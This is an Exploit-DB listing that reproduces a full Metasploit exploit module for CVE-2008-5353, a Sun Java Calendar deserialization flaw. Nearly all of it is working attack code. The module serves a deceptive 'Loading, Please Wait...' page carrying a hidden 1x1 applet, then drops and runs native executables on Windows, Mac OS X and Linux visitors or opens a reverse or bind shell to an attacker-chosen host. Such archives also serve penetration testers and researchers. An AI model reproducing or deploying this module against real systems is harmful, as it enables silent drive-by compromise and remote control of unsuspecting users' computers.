标题: Sun Java Runtime and Development Kit 6 Update 10 - Calendar Deserialization (Metasploit) EDB-ID: 9948 CVE: 2008-5353 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-12-03 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpServer::HTML
 
 def initialize( info = {} )
 
  super( update_info( info,
   'Name'     => 'Sun Java Calendar Deserialization Exploit',
   'Description'  => %q{
    This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
    
    The payload can be either a native payload which is generated as an executable and 
    dropped/executed on the target or a shell from within the Java applet in the target browser.
    
    The effected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 
    and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
   },
   'License'    => MSF_LICENSE,
   'Author'    => [ 'sf', 'hdm' ],
   'Version'       => '1',
   'References'  => 
   [
    [ 'CVE', '2008-5353' ],
    [ 'OSVDB', '50500'],
    [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
    [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
    [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ],
    [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] 
   ],
   'Platform'     => [ 'win', 'osx', 'linux', 'solaris' ],
   'Payload'      => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
   'Targets'      =>
    [
     [ 'Generic (Java Payload)', 
      {
       # This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads
       'Platform' => ['win'],
       'Payload' => { 'Space' => 0 },
       'Arch' => ARCH_CMD,
      }
     ],
     [ 'Windows x86 (Native Payload)', 
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Mac OS X PPC (Native Payload)', 
      {
       'Platform' => 'osx',
       'Arch' => ARCH_PPC,
      }
     ],
     [ 'Mac OS X x86 (Native Payload)', 
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Linux x86 (Native Payload)', 
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86, 
      }
     ],
    ],
   'DefaultTarget' => 0
   ))
 end


 def on_request_uri( cli, request )
  data = nil
  host = nil
  port = nil

  if not request.uri.match(/\.jar$/i)
   if not request.uri.match(/\/$/)
    send_redirect( cli, get_resource() + '/', '')
    return
   end
   
   print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
   
   payload = regenerate_payload( cli )
   if not payload
    print_status( "Failed to generate the payload." )
    return
   end
   
   if target.name == 'Generic (Java Payload)'
    if datastore['LHOST']
     host = datastore['LHOST']
     port = datastore['LPORT']
     print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
    else
     port = datastore['LPORT']
     datastore['RHOST'] = cli.peerhost
     print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
    end
   else
   
    if target['Arch'] == ARCH_X86
     data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win'
     data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' 
     data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
    elsif target['Arch'] == ARCH_PPC
     data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
    end
    
    if data
     print_status( "Generated executable to drop (#{data.length} bytes)." )
     data = Rex::Text.to_hex( data, prefix="" )
    else
     print_status( "Failed to generate the executable." )
     return
    end
    
   end
   
   send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) 
   return
  end
  
  print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." ) 
  send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

  handler( cli )
 end
 
 def generate_html( data, host, port )
  html  = "<html><head><title>Loading, Please Wait...</title></head>"
  html += "<body><center><p>Loading, Please Wait...</p></center>"
  html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
  html += "<param name=\"data\" value=\"#{data}\"/>" if data
  html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
  html += "<param name=\"lport\" value=\"#{port}\"/>" if port
  html += "</applet></body></html>"
  return html
 end
 
 def generate_jar()
  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
  fd = File.open( path, "rb" )
  data = fd.read(fd.stat.size)
  fd.close
  return data
 end
 
end URL: https://www.exploit-db.com/exploits/9948